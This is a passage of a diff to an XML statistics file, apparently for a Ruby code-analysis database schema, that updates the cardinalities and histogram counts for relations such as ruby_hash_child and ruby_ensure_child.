-                                    <b>1599</b>
+                                    <b>1589</b>
                                     <v>15</v>
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@@ -10387,7 +10600,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>9209</v>
+                                    <v>9177</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10403,7 +10616,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>9209</v>
+                                    <v>9177</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10413,30 +10626,30 @@
         </relation>
         <relation>
             <name>ruby_do_def</name>
-            <cardinality>1621</cardinality>
+            <cardinality>1610</cardinality>
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-                    <v>1621</v>
+                    <v>1610</v>
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         <relation>
             <name>ruby_element_reference_child</name>
-            <cardinality>82444</cardinality>
+            <cardinality>82398</cardinality>
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                 <e>
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+                    <v>82398</v>
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@@ -10450,7 +10663,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82105</v>
+                                    <v>82059</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -10471,7 +10684,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82105</v>
+                                    <v>82059</v>
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                                 <b>
                                     <a>2</a>
@@ -10490,14 +10703,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>56</a>
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+                                    <a>57</a>
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                                 <b>
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+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10511,14 +10724,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>56</a>
-                                    <b>57</b>
-                                    <v>3</v>
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+                                    <v>2</v>
                                 </b>
                                 <b>
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-                                    <b>27140</b>
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+                                    <a>27674</a>
+                                    <b>27675</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10534,7 +10747,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82444</v>
+                                    <v>82398</v>
                                 </b>
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                         </hist>
@@ -10550,7 +10763,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82444</v>
+                                    <v>82398</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10560,15 +10773,15 @@
         </relation>
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-            <cardinality>82281</cardinality>
+            <cardinality>82234</cardinality>
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+                    <v>82234</v>
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             <dependencies>
@@ -10582,7 +10795,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82281</v>
+                                    <v>82234</v>
                                 </b>
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                         </hist>
@@ -10598,7 +10811,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>82281</v>
+                                    <v>82234</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10608,11 +10821,11 @@
         </relation>
         <relation>
             <name>ruby_else_child</name>
-            <cardinality>8817</cardinality>
+            <cardinality>8802</cardinality>
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                 <e>
                     <k>ruby_else</k>
-                    <v>6937</v>
+                    <v>6923</v>
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@@ -10620,7 +10833,7 @@
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                 <e>
                     <k>child</k>
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+                    <v>8802</v>
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@@ -10634,12 +10847,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>5833</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>686</v>
+                                    <v>687</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -10660,12 +10873,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5847</v>
+                                    <v>5833</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>686</v>
+                                    <v>687</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -10719,8 +10932,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>56</a>
-                                    <b>57</b>
+                                    <a>55</a>
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                                     <v>3</v>
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                                 <b>
@@ -10734,8 +10947,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>2202</a>
-                                    <b>2203</b>
+                                    <a>2197</a>
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                                     <v>3</v>
                                 </b>
                             </bs>
@@ -10785,8 +10998,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>56</a>
-                                    <b>57</b>
+                                    <a>55</a>
+                                    <b>56</b>
                                     <v>3</v>
                                 </b>
                                 <b>
@@ -10800,8 +11013,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>2202</a>
-                                    <b>2203</b>
+                                    <a>2197</a>
+                                    <b>2198</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -10818,7 +11031,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8817</v>
+                                    <v>8802</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10834,7 +11047,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8817</v>
+                                    <v>8802</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10844,26 +11057,26 @@
         </relation>
         <relation>
             <name>ruby_else_def</name>
-            <cardinality>6946</cardinality>
+            <cardinality>6933</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>6946</v>
+                    <v>6933</v>
                 </e>
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             <dependencies/>
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         <relation>
             <name>ruby_elsif_alternative</name>
-            <cardinality>897</cardinality>
+            <cardinality>903</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_elsif</k>
-                    <v>897</v>
+                    <v>903</v>
                 </e>
                 <e>
                     <k>alternative</k>
-                    <v>897</v>
+                    <v>903</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -10877,7 +11090,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>897</v>
+                                    <v>903</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10893,7 +11106,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>897</v>
+                                    <v>903</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10903,15 +11116,15 @@
         </relation>
         <relation>
             <name>ruby_elsif_consequence</name>
-            <cardinality>1603</cardinality>
+            <cardinality>1589</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_elsif</k>
-                    <v>1603</v>
+                    <v>1589</v>
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                 <e>
                     <k>consequence</k>
-                    <v>1603</v>
+                    <v>1589</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -10925,7 +11138,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1603</v>
+                                    <v>1589</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10941,7 +11154,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1603</v>
+                                    <v>1589</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10951,15 +11164,15 @@
         </relation>
         <relation>
             <name>ruby_elsif_def</name>
-            <cardinality>1606</cardinality>
+            <cardinality>1595</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1606</v>
+                    <v>1595</v>
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                 <e>
                     <k>condition</k>
-                    <v>1606</v>
+                    <v>1595</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -10973,7 +11186,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1606</v>
+                                    <v>1595</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10989,7 +11202,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1606</v>
+                                    <v>1595</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11186,11 +11399,11 @@
         </relation>
         <relation>
             <name>ruby_ensure_child</name>
-            <cardinality>5078</cardinality>
+            <cardinality>4834</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_ensure</k>
-                    <v>3786</v>
+                    <v>3718</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -11198,7 +11411,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>5078</v>
+                    <v>4834</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -11212,22 +11425,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2958</v>
+                                    <v>2956</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>535</v>
+                                    <v>516</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>9</b>
-                                    <v>286</v>
-                                </b>
-                                <b>
-                                    <a>16</a>
                                     <b>17</b>
-                                    <v>6</v>
+                                    <v>245</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11243,22 +11451,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2958</v>
+                                    <v>2956</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>535</v>
+                                    <v>516</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>9</b>
-                                    <v>286</v>
-                                </b>
-                                <b>
-                                    <a>16</a>
                                     <b>17</b>
-                                    <v>6</v>
+                                    <v>245</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11272,38 +11475,38 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>2</a>
-                                    <b>3</b>
+                                    <a>1</a>
+                                    <b>2</b>
                                     <v>25</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>6</b>
+                                    <a>3</a>
+                                    <b>4</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>7</b>
+                                    <a>4</a>
+                                    <b>5</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
-                                    <b>17</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>93</a>
-                                    <b>94</b>
+                                    <a>78</a>
+                                    <b>79</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>263</a>
-                                    <b>264</b>
+                                    <a>242</a>
+                                    <b>243</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1202</a>
-                                    <b>1203</b>
+                                    <a>1180</a>
+                                    <b>1181</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -11318,38 +11521,38 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>2</a>
-                                    <b>3</b>
+                                    <a>1</a>
+                                    <b>2</b>
                                     <v>25</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>6</b>
+                                    <a>3</a>
+                                    <b>4</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>7</b>
+                                    <a>4</a>
+                                    <b>5</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
-                                    <b>17</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>93</a>
-                                    <b>94</b>
+                                    <a>78</a>
+                                    <b>79</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>263</a>
-                                    <b>264</b>
+                                    <a>242</a>
+                                    <b>243</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1202</a>
-                                    <b>1203</b>
+                                    <a>1180</a>
+                                    <b>1181</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -11366,7 +11569,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5078</v>
+                                    <v>4834</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11382,7 +11585,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5078</v>
+                                    <v>4834</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11392,26 +11595,26 @@
         </relation>
         <relation>
             <name>ruby_ensure_def</name>
-            <cardinality>3786</cardinality>
+            <cardinality>3718</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3786</v>
+                    <v>3718</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_exception_variable_def</name>
-            <cardinality>1021</cardinality>
+            <cardinality>1001</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1021</v>
+                    <v>1001</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>1021</v>
+                    <v>1001</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -11425,7 +11628,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1021</v>
+                                    <v>1001</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11441,7 +11644,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1021</v>
+                                    <v>1001</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11451,11 +11654,11 @@
         </relation>
         <relation>
             <name>ruby_exceptions_child</name>
-            <cardinality>1852</cardinality>
+            <cardinality>1849</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_exceptions</k>
-                    <v>1641</v>
+                    <v>1639</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -11463,7 +11666,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>1852</v>
+                    <v>1849</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -11477,12 +11680,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1498</v>
+                                    <v>1497</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>130</v>
+                                    <v>129</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -11503,12 +11706,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1498</v>
+                                    <v>1497</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>130</v>
+                                    <v>129</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -11557,13 +11760,13 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>143</a>
-                                    <b>144</b>
+                                    <a>142</a>
+                                    <b>143</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1641</a>
-                                    <b>1642</b>
+                                    <a>1639</a>
+                                    <b>1640</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -11608,13 +11811,13 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>143</a>
-                                    <b>144</b>
+                                    <a>142</a>
+                                    <b>143</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>1641</a>
-                                    <b>1642</b>
+                                    <a>1639</a>
+                                    <b>1640</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -11631,7 +11834,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1852</v>
+                                    <v>1849</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11647,7 +11850,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1852</v>
+                                    <v>1849</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11657,11 +11860,11 @@
         </relation>
         <relation>
             <name>ruby_exceptions_def</name>
-            <cardinality>1641</cardinality>
+            <cardinality>1639</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1641</v>
+                    <v>1639</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -11690,7 +11893,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11776,7 +11979,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11792,7 +11995,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11824,7 +12027,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11840,7 +12043,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11861,23 +12064,23 @@
         </relation>
         <relation>
             <name>ruby_for_def</name>
-            <cardinality>163</cardinality>
+            <cardinality>162</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
                 <e>
                     <k>pattern</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
                 <e>
                     <k>value</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -11891,7 +12094,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11907,7 +12110,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11923,7 +12126,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11939,7 +12142,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11955,7 +12158,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11971,7 +12174,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -11987,7 +12190,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12003,7 +12206,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12019,7 +12222,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12035,7 +12238,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12051,7 +12254,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12067,7 +12270,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12077,19 +12280,19 @@
         </relation>
         <relation>
             <name>ruby_hash_child</name>
-            <cardinality>88753</cardinality>
+            <cardinality>88983</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_hash</k>
-                    <v>35630</v>
+                    <v>35712</v>
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                 <e>
                     <k>index</k>
-                    <v>1384</v>
+                    <v>1389</v>
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                 <e>
                     <k>child</k>
-                    <v>88753</v>
+                    <v>88983</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12103,27 +12306,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14762</v>
+                                    <v>14778</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>9897</v>
+                                    <v>9960</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3971</v>
+                                    <v>3960</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>4140</v>
+                                    <v>4142</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>19</b>
-                                    <v>2678</v>
+                                    <v>2688</v>
                                 </b>
                                 <b>
                                     <a>19</a>
@@ -12144,27 +12347,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14762</v>
+                                    <v>14778</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>9897</v>
+                                    <v>9960</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3971</v>
+                                    <v>3960</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>4140</v>
+                                    <v>4142</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>19</b>
-                                    <v>2678</v>
+                                    <v>2688</v>
                                 </b>
                                 <b>
                                     <a>19</a>
@@ -12185,28 +12388,33 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>918</v>
+                                    <v>922</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>5</b>
-                                    <v>116</v>
+                                    <b>4</b>
+                                    <v>103</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>15</b>
+                                    <b>11</b>
                                     <v>116</v>
                                 </b>
                                 <b>
-                                    <a>15</a>
-                                    <b>58</b>
+                                    <a>14</a>
+                                    <b>51</b>
                                     <v>116</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>2755</b>
+                                    <a>57</a>
+                                    <b>1613</b>
                                     <v>116</v>
                                 </b>
+                                <b>
+                                    <a>2750</a>
+                                    <b>2751</b>
+                                    <v>12</v>
+                                </b>
                             </bs>
                         </hist>
                     </val>
@@ -12221,28 +12429,33 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>918</v>
+                                    <v>922</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>5</b>
-                                    <v>116</v>
+                                    <b>4</b>
+                                    <v>103</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>15</b>
+                                    <b>11</b>
                                     <v>116</v>
                                 </b>
                                 <b>
-                                    <a>15</a>
-                                    <b>58</b>
+                                    <a>14</a>
+                                    <b>51</b>
                                     <v>116</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>2755</b>
+                                    <a>57</a>
+                                    <b>1613</b>
                                     <v>116</v>
                                 </b>
+                                <b>
+                                    <a>2750</a>
+                                    <b>2751</b>
+                                    <v>12</v>
+                                </b>
                             </bs>
                         </hist>
                     </val>
@@ -12257,7 +12470,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>88753</v>
+                                    <v>88983</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12273,7 +12486,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>88753</v>
+                                    <v>88983</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12283,11 +12496,11 @@
         </relation>
         <relation>
             <name>ruby_hash_def</name>
-            <cardinality>39344</cardinality>
+            <cardinality>39413</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>39344</v>
+                    <v>39413</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -12360,7 +12573,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12376,7 +12589,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12408,7 +12621,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12424,7 +12637,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12445,15 +12658,15 @@
         </relation>
         <relation>
             <name>ruby_hash_splat_argument_def</name>
-            <cardinality>1813</cardinality>
+            <cardinality>1856</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1813</v>
+                    <v>1856</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>1813</v>
+                    <v>1856</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12467,7 +12680,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1813</v>
+                                    <v>1856</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12483,7 +12696,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1813</v>
+                                    <v>1856</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12493,26 +12706,26 @@
         </relation>
         <relation>
             <name>ruby_hash_splat_parameter_def</name>
-            <cardinality>1351</cardinality>
+            <cardinality>1355</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1351</v>
+                    <v>1355</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_hash_splat_parameter_name</name>
-            <cardinality>1130</cardinality>
+            <cardinality>1134</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_hash_splat_parameter</k>
-                    <v>1130</v>
+                    <v>1134</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>1130</v>
+                    <v>1134</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12526,7 +12739,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1130</v>
+                                    <v>1134</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12542,7 +12755,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1130</v>
+                                    <v>1134</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12552,19 +12765,19 @@
         </relation>
         <relation>
             <name>ruby_heredoc_body_child</name>
-            <cardinality>25086</cardinality>
+            <cardinality>25318</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_heredoc_body</k>
-                    <v>5332</v>
+                    <v>5363</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>218</v>
+                    <v>264</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>25086</v>
+                    <v>25318</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12578,27 +12791,27 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>2907</v>
+                                    <v>2929</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>682</v>
+                                    <v>692</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>788</v>
+                                    <v>781</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>339</v>
+                                    <v>341</v>
                                 </b>
                                 <b>
                                     <a>10</a>
@@ -12607,8 +12820,8 @@
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>73</b>
-                                    <v>190</v>
+                                    <b>90</b>
+                                    <v>193</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12624,27 +12837,27 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>2907</v>
+                                    <v>2929</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>682</v>
+                                    <v>692</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>788</v>
+                                    <v>781</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>339</v>
+                                    <v>341</v>
                                 </b>
                                 <b>
                                     <a>10</a>
@@ -12653,8 +12866,8 @@
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>73</b>
-                                    <v>190</v>
+                                    <b>90</b>
+                                    <v>193</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12670,57 +12883,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>57</v>
+                                    <v>50</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>27</v>
+                                    <v>83</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>5</b>
-                                    <v>12</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>8</b>
-                                    <v>15</v>
+                                    <b>6</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>9</b>
-                                    <v>9</v>
+                                    <b>12</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>13</b>
-                                    <v>18</v>
+                                    <a>12</a>
+                                    <b>26</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>15</a>
-                                    <b>25</b>
-                                    <v>18</v>
+                                    <a>30</a>
+                                    <b>94</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>29</a>
-                                    <b>64</b>
-                                    <v>18</v>
+                                    <a>96</a>
+                                    <b>323</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>91</a>
-                                    <b>203</b>
-                                    <v>18</v>
-                                </b>
-                                <b>
-                                    <a>309</a>
-                                    <b>801</b>
-                                    <v>18</v>
-                                </b>
-                                <b>
-                                    <a>1759</a>
-                                    <b>1760</b>
-                                    <v>6</v>
+                                    <a>585</a>
+                                    <b>1806</b>
+                                    <v>17</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12736,57 +12934,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>57</v>
+                                    <v>50</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>27</v>
+                                    <v>83</v>
                                 </b>
                                 <b>
